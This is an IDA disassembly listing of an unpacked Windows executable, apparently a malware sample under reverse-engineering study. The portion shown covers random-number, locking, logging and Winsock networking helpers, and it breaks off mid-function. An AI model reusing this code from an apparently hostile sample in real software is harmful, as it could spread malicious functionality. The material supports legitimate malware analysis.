;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	EAF51A86D9650C67C1387C06E235024E

; File Name   :	u:\work\eaf51a86d9650c67c1387c06e235024e_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00040000 ( 262144.)
; Section size in file		: 00040000 ( 262144.)
; Offset to raw	data for section: 00001000
; Flags	C0000060: Text Data Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
DMN0		segment	para public 'DATA' use32
		assume cs:DMN0
		;org 401000h
		assume es:nothing, ss:nothing, ds:DMN0,	fs:nothing, gs:nothing
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_401001	proc near		; CODE XREF: sub_40400E+3Fp
					; sub_404CDF+6Bp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	esi, [ebx]
		jmp	short loc_401013
; ---------------------------------------------------------------------------


loc_40100B:				; CODE XREF: sub_401001+14j
		call	dword_411CC8	; GetTickCount
		mov	esi, eax


loc_401013:				; CODE XREF: sub_401001+8j
		test	esi, esi
		jz	short loc_40100B
		mov	eax, esi
		mov	edx, 41C64E6Dh
		mul	edx
		lea	esi, [eax+3039h]
		mov	[ebx], esi
		cmp	dword ptr [ebx], 0
		jnz	short loc_40102F
		inc	dword ptr [ebx]


loc_40102F:				; CODE XREF: sub_401001+2Aj
		mov	eax, esi
		shr	eax, 10h
		and	eax, 7FFFh
		pop	esi
		pop	ebx
		retn
sub_401001	endp


; =============== S U B	R O U T	I N E =======================================



sub_40103C	proc near		; CODE XREF: sub_406A81+20p
		push	offset dword_412860
		call	dword_411CCC	; InitializeCriticalSection
		retn
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401048	proc near		; CODE XREF: sub_40122A+35p
					; sub_4019C3+Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	offset dword_412860
		call	dword_411CD0	; RtlEnterCriticalSection
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4070D0
		pop	ecx
		pop	ecx
		mov	ebx, eax
		push	offset dword_412860
		call	dword_411CD4	; RtlLeaveCriticalSection
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_401048	endp


; =============== S U B	R O U T	I N E =======================================



sub_401076	proc near		; CODE XREF: sub_40122A+1Fp
					; sub_401A3B+Bp ...

arg_0		= dword	ptr  4

		push	offset dword_412860
		call	dword_411CD0	; RtlEnterCriticalSection
		push	[esp+arg_0]
		call	sub_407480
		pop	ecx
		push	offset dword_412860
		call	dword_411CD4	; RtlLeaveCriticalSection
		retn
sub_401076	endp


; =============== S U B	R O U T	I N E =======================================



sub_401097	proc near		; CODE XREF: sub_406A81+2Ap
		push	offset dword_412878
		call	dword_411CCC	; InitializeCriticalSection
		retn
sub_401097	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		cmp	dword ptr [ebp+8], 0
		jz	loc_40115E
		push	0FFFFFFF5h
		call	dword_411CD8	; GetStdHandle
		cmp	eax, 0FFFFFFFFh
		jz	loc_40115E
		push	offset dword_412878
		call	dword_411CD0	; RtlEnterCriticalSection
		lea	edi, [ebp+0Ch]
		push	edi
		push	dword ptr [ebp+8]
		push	100h
		lea	eax, [ebp-100h]
		push	eax
		call	sub_407550
		add	esp, 10h
		mov	ebx, eax
		cmp	ebx, 0FFh
		jbe	short loc_401140
		push	1
		lea	eax, [ebx+80h]
		push	eax
		call	sub_4070D0
		pop	ecx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+0Ch]
		push	edi
		push	dword ptr [ebp+8]
		lea	eax, [ebx+1Fh]
		push	eax
		push	esi
		call	sub_407550
		add	esp, 10h
		mov	ebx, eax
		push	esi
		push	offset aS_0	; "%s"
		call	sub_4075F0
		pop	ecx
		pop	ecx
		push	esi
		call	sub_407480
		pop	ecx
		jmp	short loc_401153
; ---------------------------------------------------------------------------


loc_401140:				; CODE XREF: DMN0:00401100j
		lea	eax, [ebp-100h]
		push	eax
		push	offset aS_0	; "%s"
		call	sub_4075F0
		pop	ecx
		pop	ecx


loc_401153:				; CODE XREF: DMN0:0040113Ej
		push	offset dword_412878
		call	dword_411CD4	; RtlLeaveCriticalSection


loc_40115E:				; CODE XREF: DMN0:004010B6j
					; DMN0:004010CCj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401165	proc near		; CODE XREF: sub_406A81+25p
		push	offset dword_412890
		call	dword_411CCC	; InitializeCriticalSection
		retn
sub_401165	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		lea	eax, [ebp-10h]
		push	eax
		call	dword_411CDC	; GetLocalTime
		cmp	word ptr [ebp-8], 0Ch
		jnb	short loc_401190
		mov	ebx, offset aAm	; "AM"
		jmp	short loc_401195
; ---------------------------------------------------------------------------


loc_401190:				; CODE XREF: DMN0:00401187j
		mov	ebx, offset aPm	; "PM"


loc_401195:				; CODE XREF: DMN0:0040118Ej
		push	ebx
		movzx	eax, word ptr [ebp-4]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		mov	ecx, 0Ch
		cdq
		idiv	ecx
		push	edx
		movzx	eax, word ptr [ebp-10h]
		mov	ecx, 64h
		cdq
		idiv	ecx
		push	edx
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset a02i02i02iIIIS ;	"%02i/%02i/%02i	%i:%i:%i%s"
		push	dword ptr [ebp+8]
		call	sub_407650
		add	esp, 24h
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	offset dword_412890
		call	dword_411CD0	; RtlEnterCriticalSection
		push	offset aA	; "a"
		push	dword ptr [ebp+8]
		call	sub_407690
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40121A
		lea	eax, [ebp+10h]
		mov	[ebp-4], eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_407740
		add	esp, 0Ch
		push	ebx
		call	sub_4078F0
		pop	ecx


loc_40121A:				; CODE XREF: DMN0:004011FCj
		push	offset dword_412890
		call	dword_411CD4	; RtlLeaveCriticalSection
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40122A	proc near		; CODE XREF: sub_406A81+4Bp

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		jmp	short loc_40124F
; ---------------------------------------------------------------------------


loc_401237:				; CODE XREF: sub_40122A+2Cj
		dec	dword_411000
		mov	eax, dword_411000
		push	dword_4128A8[eax*4]
		call	sub_401076
		pop	ecx


loc_40124F:				; CODE XREF: sub_40122A+Bj
		cmp	dword_411000, 0
		jnz	short loc_401237
		jmp	short loc_4012CB
; ---------------------------------------------------------------------------


loc_40125A:				; CODE XREF: sub_40122A+ADj
		push	401h
		call	sub_401048
		pop	ecx
		mov	edx, dword_411000
		mov	dword_4128A8[edx*4], eax
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40127E
		inc	ebx
		mov	[ebp+var_1], 22h
		jmp	short loc_401282
; ---------------------------------------------------------------------------


loc_40127E:				; CODE XREF: sub_40122A+4Bj
		mov	[ebp+var_1], 20h


loc_401282:				; CODE XREF: sub_40122A+52j
		and	[ebp+var_8], 0
		mov	eax, dword_411000
		lea	edx, [eax+1]
		mov	dword_411000, edx
		mov	esi, dword_4128A8[eax*4]
		jmp	short loc_4012A3
; ---------------------------------------------------------------------------


loc_40129D:				; CODE XREF: sub_40122A+8Bj
		mov	al, [ebx]
		mov	[esi], al
		inc	esi
		inc	ebx


loc_4012A3:				; CODE XREF: sub_40122A+71j
		mov	al, [ebx]
		test	al, al
		jz	short loc_4012B7
		cmp	al, [ebp+var_1]
		jz	short loc_4012B7
		cmp	[ebp+var_8], 400h
		jl	short loc_40129D


loc_4012B7:				; CODE XREF: sub_40122A+7Dj
					; sub_40122A+82j
		cmp	[ebp+var_1], 22h
		jnz	short loc_4012C6
		cmp	byte ptr [ebx],	22h
		jnz	short loc_4012C6
		inc	ebx
		jmp	short loc_4012C6
; ---------------------------------------------------------------------------


loc_4012C5:				; CODE XREF: sub_40122A+9Fj
		inc	ebx


loc_4012C6:				; CODE XREF: sub_40122A+91j
					; sub_40122A+96j ...
		cmp	byte ptr [ebx],	20h
		jz	short loc_4012C5


loc_4012CB:				; CODE XREF: sub_40122A+2Ej
		cmp	byte ptr [ebx],	0
		jz	short loc_4012D9
		cmp	dword_411000, 20h
		jl	short loc_40125A


loc_4012D9:				; CODE XREF: sub_40122A+A4j
		mov	eax, dword_411000
		and	dword_4128A8[eax*4], 0
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40122A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4012EC	proc near		; CODE XREF: sub_406A81+256p

var_190		= byte ptr -190h

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	bx, 2
		lea	eax, [ebp+var_190]
		push	eax
		movzx	eax, bx
		push	eax
		call	sub_40703E	; WSAStartup
		mov	esi, eax
		test	esi, esi
		jz	short loc_40133C
		mov	bx, 101h
		lea	eax, [ebp+var_190]
		push	eax
		movzx	eax, bx
		push	eax
		call	sub_40703E	; WSAStartup
		mov	esi, eax
		test	esi, esi
		jz	short loc_40132F
		xor	eax, eax
		jmp	short loc_40134A
; ---------------------------------------------------------------------------


loc_40132F:				; CODE XREF: sub_4012EC+3Dj
		push	offset aWinsock1_1Init ; "WinSock 1.1 initialized.\n"
		call	nullsub_2
		pop	ecx
		jmp	short loc_401347
; ---------------------------------------------------------------------------


loc_40133C:				; CODE XREF: sub_4012EC+23j
		push	offset aWinsock2_xInit ; "WinSock 2.x initialized.\n"
		call	nullsub_2
		pop	ecx


loc_401347:				; CODE XREF: sub_4012EC+4Ej
		xor	eax, eax
		inc	eax


loc_40134A:				; CODE XREF: sub_4012EC+41j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4012EC	endp

; ---------------------------------------------------------------------------
		call	sub_407044	; WSACleanup
		xor	eax, eax
		inc	eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401359	proc near		; CODE XREF: sub_402896+BDp
					; sub_403C3F+DCp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	6
		push	1
		push	2
		call	sub_40704A	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_401377
		xor	eax, eax
		jmp	short loc_4013CD
; ---------------------------------------------------------------------------


loc_401377:				; CODE XREF: sub_401359+18j
		mov	[ebp+var_4], 112A880h
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_407050	; setsockopt
		mov	[ebp+var_4], 112A880h
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_407050	; setsockopt
		mov	[ebp+var_4], 1
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_407050	; setsockopt
		mov	eax, ebx


loc_4013CD:				; CODE XREF: sub_401359+1Cj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401359	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	6
		push	1
		push	2
		call	sub_40704A	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4013F0
		xor	eax, eax
		jmp	short loc_401451
; ---------------------------------------------------------------------------


loc_4013F0:				; CODE XREF: DMN0:004013EAj
		imul	eax, [ebp+0Ch],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_407050	; setsockopt
		imul	eax, [ebp+8], 3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_407050	; setsockopt
		xor	eax, eax
		cmp	dword ptr [ebp+10h], 0
		setnz	al
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_407050	; setsockopt
		mov	eax, ebx


loc_401451:				; CODE XREF: DMN0:004013EEj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	ebx, [ebp+8]
		imul	eax, [ebp+10h],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_407050	; setsockopt
		imul	eax, [ebp+0Ch],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_407050	; setsockopt
		xor	eax, eax
		cmp	dword ptr [ebp+14h], 0
		setnz	al
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_407050	; setsockopt
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4014C2	proc near		; CODE XREF: sub_4025A9+15Dp
					; sub_4025A9+1B4p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_407056	; closesocket
		xor	eax, eax
		inc	eax
		retn
sub_4014C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4014CF	proc near		; CODE XREF: sub_40417F+15Fp
					; sub_40417F+1D9p ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		and	[ebp+var_10C], 0
		and	[ebp+var_108], 0
		and	[ebp+var_104], 0
		cmp	[ebp+var_104], 40h
		jnb	short loc_401511
		mov	eax, [ebp+var_104]
		lea	edx, [eax+1]
		mov	[ebp+var_104], edx
		mov	[ebp+eax*4+var_100], ebx


loc_401511:				; CODE XREF: sub_4014CF+2Aj
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	sub_40705C	; select
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40153C
		test	esi, esi
		jnz	short loc_401539
		xor	eax, eax
		jmp	short loc_40153C
; ---------------------------------------------------------------------------


loc_401539:				; CODE XREF: sub_4014CF+64j
		xor	eax, eax
		inc	eax


loc_40153C:				; CODE XREF: sub_4014CF+60j
					; sub_4014CF+68j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4014CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401542	proc near		; CODE XREF: sub_402562+13p
					; sub_4025A9+1F5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	sub_407062	; ioctlsocket
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401562
		mov	eax, [ebp+var_4]


loc_401562:				; CODE XREF: sub_401542+1Bj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401542	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401567	proc near		; CODE XREF: sub_4025A9+14Ep
					; sub_402896+DBp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407960
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_407068	; htons
		mov	[ebp+var_E], ax
		lea	ebx, [ebp+var_10]
		push	10h
		push	ebx
		push	[ebp+arg_0]
		call	sub_40706E	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015AF
		xor	eax, eax
		jmp	short loc_4015B2
; ---------------------------------------------------------------------------


loc_4015AF:				; CODE XREF: sub_401567+42j
		xor	eax, eax
		inc	eax


loc_4015B2:				; CODE XREF: sub_401567+46j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401567	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4015B7	proc near		; CODE XREF: sub_40440D+1Fp
					; sub_404CDF+A7p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407960
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_407068	; htons
		mov	[ebp+var_E], ax
		lea	ebx, [ebp+var_10]
		push	10h
		push	ebx
		push	[ebp+arg_0]
		call	sub_407074	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015FF
		xor	eax, eax
		jmp	short loc_401602
; ---------------------------------------------------------------------------


loc_4015FF:				; CODE XREF: sub_4015B7+42j
		xor	eax, eax
		inc	eax


loc_401602:				; CODE XREF: sub_4015B7+46j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4015B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401607	proc near		; CODE XREF: sub_40440D+3Ep
					; sub_404CDF+1E9p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	5
		push	[ebp+arg_0]
		call	sub_40707A	; listen
		test	eax, eax
		jge	short loc_40161C
		xor	eax, eax
		jmp	short loc_40161F
; ---------------------------------------------------------------------------


loc_40161C:				; CODE XREF: sub_401607+Fj
		xor	eax, eax
		inc	eax


loc_40161F:				; CODE XREF: sub_401607+13j
		pop	ebp
		retn
sub_401607	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401621	proc near		; CODE XREF: sub_406086+63p

var_14		= dword	ptr -14h
var_10		= word ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407960
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	[ebp+var_14], 10h
		lea	esi, [ebp+var_10]
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	sub_407080	; accept
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_401664
		xor	eax, eax
		jmp	short loc_401666
; ---------------------------------------------------------------------------


loc_401664:				; CODE XREF: sub_401621+3Dj
		mov	eax, ebx


loc_401666:				; CODE XREF: sub_401621+41j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40166C	proc near		; CODE XREF: sub_40440D+56p
					; sub_404CDF+201p

var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		and	dword ptr [edx], 0
		mov	word ptr [ebx],	0
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407960
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	[ebp+var_14], 10h
		lea	edi, [ebp+var_10]
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		push	[ebp+arg_0]
		call	sub_407080	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4016BE
		xor	eax, eax
		jmp	short loc_4016D5
; ---------------------------------------------------------------------------


loc_4016BE:				; CODE XREF: sub_40166C+4Cj
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_C]
		mov	[edx], eax
		movzx	eax, [ebp+var_E]
		push	eax
		call	sub_407086	; htons
		mov	[ebx], ax
		mov	eax, esi


loc_4016D5:				; CODE XREF: sub_40166C+50j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40166C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4016DC	proc near		; CODE XREF: sub_401BAC+44p
					; sub_401BAC+A3p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		jmp	short loc_401707
; ---------------------------------------------------------------------------


loc_4016EA:				; CODE XREF: sub_4016DC+2Dj
		push	0
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_0]
		call	sub_40708C	; recv
		mov	esi, eax
		test	esi, esi
		jg	short loc_401703
		or	eax, 0FFFFFFFFh
		jmp	short loc_40170E
; ---------------------------------------------------------------------------


loc_401703:				; CODE XREF: sub_4016DC+20j
		sub	edi, esi
		add	ebx, esi


loc_401707:				; CODE XREF: sub_4016DC+Cj
		test	edi, edi
		jg	short loc_4016EA
		mov	eax, [ebp+arg_8]


loc_40170E:				; CODE XREF: sub_4016DC+25j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4016DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401713	proc near		; CODE XREF: sub_4025A9+1E3p
					; sub_402896+149p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	edi, ebx
		xor	ebx, ebx
		jmp	short loc_401742
; ---------------------------------------------------------------------------


loc_401722:				; CODE XREF: sub_401713+31j
		push	0
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40708C	; recv
		mov	esi, eax
		test	esi, esi
		jle	short loc_401746
		sub	edi, esi
		mov	eax, [ebp+arg_4]
		add	eax, esi
		mov	[ebp+arg_4], eax
		add	ebx, esi


loc_401742:				; CODE XREF: sub_401713+Dj
		test	edi, edi
		jg	short loc_401722


loc_401746:				; CODE XREF: sub_401713+21j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_401713	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+10h]
		mov	edi, ebx
		xor	ebx, ebx
		jmp	short loc_40177C
; ---------------------------------------------------------------------------


loc_40175C:				; CODE XREF: DMN0:0040177Ej
		push	0
		push	ebx
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40708C	; recv
		mov	esi, eax
		test	esi, esi
		jle	short loc_401780
		sub	edi, esi
		mov	eax, [ebp+0Ch]
		add	eax, esi
		mov	[ebp+0Ch], eax
		add	ebx, esi


loc_40177C:				; CODE XREF: DMN0:0040175Aj
		test	edi, edi
		jg	short loc_40175C


loc_401780:				; CODE XREF: DMN0:0040176Ej
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401787	proc near		; CODE XREF: sub_401ADA+97p
					; sub_4025A9+1A4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		jmp	short loc_4017B2
; ---------------------------------------------------------------------------


loc_401795:				; CODE XREF: sub_401787+2Dj
		push	0
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_0]
		call	sub_407092	; send
		mov	esi, eax
		test	esi, esi
		jg	short loc_4017AE
		or	eax, 0FFFFFFFFh
		jmp	short loc_4017B9
; ---------------------------------------------------------------------------


loc_4017AE:				; CODE XREF: sub_401787+20j
		sub	edi, esi
		add	ebx, esi


loc_4017B2:				; CODE XREF: sub_401787+Cj
		test	edi, edi
		jg	short loc_401795
		mov	eax, [ebp+arg_8]


loc_4017B9:				; CODE XREF: sub_401787+25j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_401787	endp


; =============== S U B	R O U T	I N E =======================================



sub_4017BE	proc near		; CODE XREF: DMN0:00401882p
					; sub_403C3F+30p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	esi, esi
		push	[esp+8+arg_0]
		call	sub_407098	; inet_addr
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4017F2
		push	[esp+8+arg_0]
		call	sub_40709E	; gethostbyname
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4017E9
		or	eax, 0FFFFFFFFh
		jmp	short loc_4017F4
; ---------------------------------------------------------------------------


loc_4017E9:				; CODE XREF: sub_4017BE+24j
		mov	eax, [esi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		jmp	short loc_4017F4
; ---------------------------------------------------------------------------


loc_4017F2:				; CODE XREF: sub_4017BE+15j
		mov	eax, ebx


loc_4017F4:				; CODE XREF: sub_4017BE+29j
					; sub_4017BE+32j
		pop	esi
		pop	ebx
		retn
sub_4017BE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	10h
		push	0
		lea	eax, [ebp-10h]
		push	eax
		call	sub_407960
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		mov	dword ptr [ebp-14h], 10h
		lea	ebx, [ebp-10h]
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_4070A4	; getsockname
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_401837
		xor	eax, eax
		jmp	short loc_401852
; ---------------------------------------------------------------------------


loc_401837:				; CODE XREF: DMN0:00401831j
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp-0Ch]
		mov	[edx], eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		call	sub_407086	; htons
		mov	edx, [ebp+10h]
		mov	[edx], ax
		xor	eax, eax
		inc	eax


loc_401852:				; CODE XREF: DMN0:00401835j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		mov	byte ptr [ebp-400h], 0
		push	400h
		lea	eax, [ebp-400h]
		push	eax
		call	sub_4070AA	; gethostname
		lea	eax, [ebp-400h]
		push	eax
		call	sub_4017BE
		pop	ecx
		mov	ebx, eax
		mov	[ebp-404h], ebx
		mov	eax, [ebp-404h]
		push	eax
		call	sub_4070B0	; inet_ntoa
		mov	esi, eax
		push	esi
		lea	eax, [ebp-400h]
		push	eax
		push	offset aSIsS	; "%s is %s\n"
		call	nullsub_2
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018BB	proc near		; CODE XREF: sub_401A55+14p

